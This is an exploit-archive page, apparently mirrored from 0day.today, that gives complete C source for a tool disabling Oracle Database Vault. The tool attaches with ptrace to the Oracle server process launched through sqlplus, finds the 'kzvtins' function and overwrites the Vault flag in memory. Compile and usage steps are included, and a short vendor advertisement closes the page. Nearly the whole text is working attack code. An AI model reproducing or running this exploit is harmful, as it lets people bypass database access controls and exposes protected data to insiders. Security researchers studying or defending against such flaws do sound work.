============================================================
Oracle Database Vault ptrace(2) Privilege Escalation Exploit
============================================================
/*
* original release: http://vnull.pcnet.com.pl/blog/?p=92
*
* ora_dv_mem_off.c version 0x1
* ORACLE Database Vault runtime disabler (x86_32 Linux only)
* AKA give_back_the_freedom
* by Jakub 'vnull' Wartak <[email protected]> 26.02.2008
* 0-day PRIVATE! D0 N0T DI$TRIBUT3!
*
* Tested on 10.2.0.3, CentOS 5.
* For other architectures/OS combos consider having fun with gdb ;]
*
* Whole Database Vault architecture is flawed if DBA has access to
* oracle user process space. IMHO you could limit risk by creating
* UNIX accounts for DBAs with membership of OSDBA group (along with
* oracle SUID binary and shared memory with only read permission
* for OSDBA group [check SHM privs: ipcs -cm] ). But how those DBAs
* would cope with some serious crashes (requiring for e.g. restoring
* controlfile) ?
*
* Usage:
* Set enviorniment variables: ORACLE_BASE, ORACLE_SID, ORACLE_HOME
* $ gcc -Wall ora_dv_mem_off.c -o ora_dv_mem_off -lbfd -liberty
* $ ./ora_dv_mem_off
*
* REQUIEREMENTS:
* + run as oracle process owner (by default "oracle")
* + working ptrace(), it won't work in systems with ptrace()
* disabled (grsecurity and some LKMs).
* + BFD headers and library (binutils-devel)
*
* THE DOCUMENT IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. THE
* CONTENT MAY CHANGE WITHOUT NOTICE. IN NO EVENT SHALL THE AUTHORS BE
* LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES, INJURIES,
* LOSSES OR UNLAWFUL OFFENCES.
*
* USE AT OWN RISK!
*
*/
#include <bfd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <linux/ptrace.h>
#include <asm/unistd.h> /* for __NR_clone */
/* you may need to alter this */
#define ORABASE "/u01/app/oracle/product/10.2.0/bin"
/*
* Magic... (at&t syntax)
* push %ebp
* mov %esp, %ebp
* mov <DV_FLAG>, %eax
* [..]
* where DV_FLAG is 32-bit long
*/
#define ASM_DV_FUNC_PROLOG "\x55\x8b\xec\xb8"
const char *sqlplus = ORABASE "/sqlplus";
const char *oracle = ORABASE "/oracle";
const int long_size = sizeof(long);
pid_t child;
long locate_dv_func(void)
{
asymbol **symbol_table;
bfd *b = bfd_openr(oracle, NULL);
if (b == NULL) {
perror("bfd_openr");
exit(-1);
}
bfd_check_format(b, bfd_object);
long storage_needed = bfd_get_symtab_upper_bound(b);
if(storage_needed < 0) {
fprintf(stderr, "wtf?!\n");
exit(-1);
}
if((symbol_table = (asymbol**)malloc(storage_needed)) == 0) {
perror("malloc");
exit(-1);
}
int num_symbols;
if((num_symbols = bfd_canonicalize_symtab(b, symbol_table)) <= 0) {
fprintf(stderr, "no symbols info\n");
exit(-1);
}
int i;
for(i = 0; i < num_symbols; i++) {
char *symname = bfd_asymbol_name(symbol_table[i]);
void *symaddr = bfd_asymbol_value(symbol_table[i]);
/* don't even ask why this funciton, for real hardcore: gdb -p <oraclePIDs> */
if(!strcmp(symname, "kzvtins")) {
fprintf(stderr, "[%d] symbol \"kzvtins\" at 0x%lx\n", getpid(),
(long) symaddr);
return (long) symaddr;
}
}
return 0;
}
/* from "Playing with ptrace(), part#2, Linux Journal, author: Pradeep Padala */
void getdata(pid_t child, long addr, char *str, int len)
{
char *laddr;
int i, j;
union u {
long val;
char chars[long_size];
} data;
i = 0;
j = len / long_size;
laddr = str;
while(i < j) {
data.val = ptrace(PTRACE_PEEKDATA, child, addr + i * 4, NULL);
memcpy(laddr, data.chars, long_size);
++i;
laddr += long_size;
}
j = len % long_size;
if(j != 0) {
data.val = ptrace(PTRACE_PEEKDATA,child, addr + i * 4,NULL);
memcpy(laddr, data.chars, j);
}
str[len] = '\0';
}
void putdata(pid_t child, long addr, char *str, int len)
{
char *laddr;
int i, j;
union u {
long val;
char chars[long_size];
} data;
i = 0;
j = len / long_size;
laddr = str;
while(i < j) {
memcpy(data.chars, laddr, long_size);
ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val);
++i;
laddr += long_size;
}
j = len % long_size;
if(j != 0) {
memcpy(data.chars, laddr, j);
ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val);
}
}
void cleanup(void)
{
int s;
kill(child, SIGKILL);
wait(&s);
}
int main(int ac, char **av)
{
int status;
pid_t orapid = 0;
bfd_init();
if((child = fork()) == -1) {
perror("fork");
exit(-1);
}
if(child == 0) {
if(ptrace(PTRACE_TRACEME, 0, NULL, NULL)==-1) {
perror("unable to ptrace(PTRACE_TRACEME)");
exit(-1);
}
/* launch sqlplus */
if(execl(sqlplus, "sqlplus", "/nolog", NULL)==-1) {
perror("execl");
exit(-1);
}
/* not reached */
exit(0);
}
if(atexit(cleanup) != 0) {
fprintf(stderr, "[%d] unable to register cleanup function\n", getpid());
}
wait(&status);
if(WIFSTOPPED(status)) {
fprintf(stderr, "[%d] starting to trace sqlplus process (%d)\n", getpid(), child);
}
fprintf(stderr, "[***] NOW TYPE IN SQLPLUS: conn / as sysdba\n");
while(!orapid) {
struct user_regs_struct uregs;
ptrace(PTRACE_SYSCALL, child, 0, 0);
wait(&status);
ptrace(PTRACE_GETREGS, child, 0, &uregs);
/* ouch! no fork()? clone()! */
if(uregs.orig_eax==__NR_clone) {
long *regs = 0;
/* fprintf(stderr, "[%d] clone() syscall\n", getpid()); */
ptrace(PTRACE_SYSCALL, child, 0, 0);
wait(&status);
if((orapid = ptrace(PTRACE_PEEKUSER, child, ®s[EAX], 0)) == -1) {
perror("ptrace(PTRACE_PEEKUSER): unable to get clone() retvalue\n");
exit(-1);
}
fprintf(stderr, "[%d] clone() syscall in %d, tracing orapid=%d\n", getpid(),
child, orapid);
/* attach to orapid, detach from sqlplus */
if(ptrace(PTRACE_ATTACH, orapid, 0, 0) == -1) {
perror("ptrace(PTRACE_ATTACH) to orapid");
exit(-1);
}
while(1) {
ptrace(PTRACE_SYSCALL, orapid, 0, 0);
wait(&status);
ptrace(PTRACE_GETREGS, orapid, 0, &uregs);
if(uregs.orig_eax==__NR_execve) {
fprintf(stderr, "[%d] execve() syscall in %d, \n", getpid(), orapid);
/* end ptrace of syscall */
ptrace(PTRACE_SYSCALL, orapid, 0, 0);
break;
} else {
//fprintf(stderr, "got %ld\n", uregs.orig_eax);
ptrace(PTRACE_SYSCALL, orapid, 0, 0);
}
}
if(ptrace(PTRACE_DETACH, child, 0, 0) == -1) {
perror("ptrace(PTRACE_DETACH) from child");
exit(-1);
}
} else if(uregs.orig_eax==__NR_execve) {
fprintf(stderr, "[%d] execve() syscall in %d\n", getpid(), child);
}
}
/* now we have oracle server process under our control :) */
long dv_func = locate_dv_func();
if(dv_func == 0) {
fprintf(stderr, "ERROR: unable to find function\n");
exit(-1);
}
wait(&status);
unsigned char buf[32];
memset(buf, 0, sizeof(buf));
getdata(orapid, dv_func, (char *)&buf, 32);
/* dump opcodes */
/*
for(i = 0; i < 31; i++) {
fprintf(stderr, "%x ", (unsigned char)buf[i]);
} */
if(!memcmp(buf, ASM_DV_FUNC_PROLOG, strlen(ASM_DV_FUNC_PROLOG))) {
unsigned char dv_status;
unsigned long woff = dv_func + strlen(ASM_DV_FUNC_PROLOG), woff2=woff;
getdata(orapid, woff, (char *)&dv_status, 1);
fprintf(stderr, "[***] sucessfuly validated function, DatabaseVault=%d\n", dv_status);
fprintf(stderr, "[***] attempting to rewrite memory at 0x%lx\n", woff2);
unsigned char my = 0;
putdata(orapid, woff2, (void *)&my, 1);
}
if(ptrace(PTRACE_DETACH, orapid, 0, 0) == -1) {
perror("ptrace(PTRACE_DETACH) from orapid");
exit(-1);
}
wait(&status);
exit(0);
}
# 0day.today [2018-01-03] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation